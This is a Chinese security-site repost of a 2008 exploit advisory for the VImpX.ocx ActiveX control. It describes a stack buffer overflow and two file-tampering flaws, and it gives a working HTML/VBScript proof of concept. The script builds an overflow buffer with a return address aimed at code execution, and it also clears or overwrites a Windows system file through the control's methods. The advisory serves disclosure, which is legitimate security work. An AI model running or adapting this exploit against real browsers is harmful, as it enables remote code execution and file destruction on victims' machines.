首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
db Software Laboratory VImpX (VImpX.ocx) Multiple Vulnerabilities
来源:http://www.shinnai.net 作者:shinnai 发布时间:2008-10-27  
-----------------------------------------------------------------------------
db Software Laboratory VImpX (VImpX.ocx) Multiple vulnerabilities
url: http://www.dbsoftlab.com/

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net

Info:
File: VImpX.ocx v. 4.8.8.0
CLSID: {7600707B-9F47-416D-8AB5-6FD96EA37968}
ProgID: VImpX.VImpAX
Description: VImpAX Control

Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data 
  IPStorage Safe: Safe for untrusted: caller,data

Vulnerbale method:
Property Let LogFile As String
Sub ClearLogFile
Sub SaveToFile (ByVal FileName As String)

Bug(s):
#1 Passing an overly long string (more than 256 bytes), will lead into
    a stack based buffer overflow which allows arbitrary code execution
 
#2 The "LogFile()" method doesn't check user supplied arguments so we can
    use it to store the file name we want to clear and then the
    "ClearLogFile()" to delete the content of the file

#3 The "SaveToFile()" method doesn't check user supplied arguments so we
    can use it to overwrite the content of the file name passed as
    argument.

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='test' width='20' height='20'></object>

<input language=VBScript onclick=bof() type=button value='Click here to start the Remote Buffer Overflow test' style="width: 361px; height: 24px" size=21>

<input language=VBScript onclick=afd() type=button value='Click here to start the File Content Deletion test' style="width: 361px; height: 24px" size=21>

<input language=VBScript onclick=afc() type=button value='Click here to start the File Content Corruption test' style="width: 361px; height: 24px" size=21>


<script language='vbscript'>
Sub bof
  buff = String(256,"A")
  EDI  = unescape("BBBB")
  ESI  = unescape("CCCC")
  EBX  = unescape("DDDD")
  EIP  = unescape("%C6%91%3A%7E") 'unescape("EEEE")
  buf2 = unescape("FFFFFFFFFFFFFFFFFFFF")
  memo = unescape("%00%00%01%00")
  rest = unescape("GGGG") + String(2000, "H")
  egg = buff + EDI + ESI + EBX + EIP + buf2 + memo + rest
  test.LogFile = egg
End Sub

Sub afd
  test.LogFile = "C:\WINDOWS\_system.ini"
  test.ClearLogFile
  MsgBox "Exploit completed..."
End Sub

Sub afc
  test.SaveToFile "C:\WINDOWS\_system.ini"
  MsgBox "Exploit completed..."
End Sub
</script>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TUGzip 3.00 archiver .ZIP File
·MS08066本地权限提升漏洞exploit
·KVIrc 3.4.0 Virgo Remote Forma
·vicFTP 5.0 (LIST) Remote Denia
·VLC 0.9.4 .TY File Buffer Over
·PumpKIN TFTP Server 2.7.2.0 De
·CSSH is a proof of concept CSS
·PowerTCP FTP module Multiple T
·MindDezign Photo Gallery 2.2 A
·MyForum 1.3 (lecture.php id) R
·SilverSHielD 1.0.2.34 (opendir
·CSPartner 1.0 (Delete All User
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved